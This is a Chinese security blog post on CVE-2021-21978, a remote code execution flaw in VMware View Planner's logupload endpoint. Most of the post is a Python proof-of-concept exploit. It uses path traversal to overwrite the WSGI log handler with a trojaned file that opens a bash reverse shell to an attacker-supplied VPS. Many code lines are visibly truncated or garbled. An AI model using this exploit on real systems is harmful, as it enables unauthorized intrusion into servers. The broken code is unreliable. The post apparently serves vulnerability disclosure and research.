一:漏洞描述🐑
View Planner是VMware官方推出的一款针对view桌面的测试工具,通过这个测试工具可以估算出在指定的应用环境下可以发布多少个view桌面。
View Planner 的logupload端点缺乏输入验证,导致具有查看View Planner Harness网络访问权限的未经授权的攻击者可以上载和执行精心编制的文件,从而导致在logupload容器中执行远程代码。
二: 漏洞影响🐇
VMware View Planner <=4.6.0
三: 漏洞复现🐋
目前漏洞原理及POC已公开,目标较多存在于内网,可下载 Seebug中的 ova虚拟机文件进行复现
链接: https://pan.baidu.com/s/1aeNW1HUyCkZze1bs7vplzg
提取码: vv42
漏洞分析地址:
https://paper.seebug.org/1495/
Twitter公开地址:
https://twitter.com/osama_hroot/status/1367258907601698816
四: 漏洞POC🦉
https://github.com/me1ons/CVE-2021-21978
import requests
import argparse
def rce(url,vps,port):
url = "https://{0}/logupload?logMetaData={{"itrLogPath":"../../../../../../etc/httpd/html/wsgi_log_upload","logFileType":"log_upload_wsgi.py","workloadID":"2"}}".format(url)
print(url)
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
header = {
ua :
}
payload='''
#! /usr/bin/env python3
import cgi
import os,sys
import logging
import json
-i >& /dev/tcp/{0}/{1} 0>&1')
WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME = "workload_log_{{}}.zip"
class LogFileJson:
Defines format to upload log file in harness
Arguments:
itrLogPath : log path provided by harness to store log data
logFileType : Type of log file defined in api.agentlogFileType
workloadID [OPTIONAL] : workload id, if log file is workload specific
"""
def __init__(self, itrLogPath, logFileType, workloadID = None):
itrLogPath =
logFileType =
workloadID =
def to_json(self):
return json.dumps(self.__dict__)
@classmethod
def from_json(cls, json_str):
json_dict = json.loads(json_str)
return cls(**json_dict)
class agentlogFileType():
Defines various log file types to be uploaded by agent
"""
WORKLOAD_ZIP_LOG = "workloadLogsZipFile"
try:
# TO DO: Puth path in some config
"/etc/httpd/html/logs/uploader.log",filemode='a', level=logging.ERROR) =
except:
# In case write permission is not available in log folder.
pass
logger = logging.getLogger('log_upload_wsgi.py')
def application(environ, start_response):
called")
if environ['REQUEST_METHOD'] == 'POST':
post = cgi.FieldStorage(
fp=environ['wsgi.input'],
environ=environ,
keep_blank_values=True
)
# TO DO: Puth path in some config or read from config is already available
resultBasePath = "/etc/httpd/html/vpresults"
try:
filedata = post["logfile"]
metaData = post["logMetaData"]
if metaData.value:
logFileJson = LogFileJson.from_json(metaData.value)
if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)):
logFileJson.itrLogPath))
if filedata.file:
if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG):
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID)))
else:
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType)
with open(filePath, 'wb') as output_file:
while True:
data = filedata.file.read(1024)
# End of file
if not data:
break
output_file.write(data)
body = u" File uploaded successfully."
start_response(
OK',
[
'text/html; charset=utf8'),
str(len(body))),
]
)
return [body.encode('utf8')]
except Exception as e:
{{}}".format(str(e)))
body = u"Exception {{}}".format(str(e))
else:
request")
body = u"Invalid request"
start_response(
fail',
[
'text/html; charset=utf8'),
str(len(body))),
]
)
return [body.encode('utf8')]
'''.format(vps,port)
files = {'logfile': ("",payload,"text/plain")}
requests.packages.urllib3.disable_warnings()
# proxies={'https':'127.0.0.1:8080'} #proxies=proxies
res = requests.post(url=url,headers=header,verify=False,files=files)
"https://192.168.15.84/logupload?logMetaData",verify=False) =
print(res.text)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='VMware View Planner CVE-2021-21978',
usage='use "python %(prog)s --help" for more information',
formatter_class=argparse.RawTextHelpFormatter)
"--url",
dest="url",
help="TARGET URL (127.0.0.1:443)"
)
"--vps",
dest="vps",
help="VPS IP"
)
"--port",
dest="port",
help="VPS LISTENING PORT"
)
args = parser.parse_args()
if not args.url or not args.vps or not args.port:
Please assign url and cmd! n[*] Examples python CVE-2021-21978.py -u 127.0.0.1:443 -v vpsip -p port')
args.vps, args.port)
最后
下面就是文库和团队的公众号啦,更新的文章都会在第一时间推送在公众号
别忘了Github下载完给个小星星⭐
本文始发于微信公众号(PeiQi文库):VMware View Planner 远程代码执行漏洞 CVE-2021-21978
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论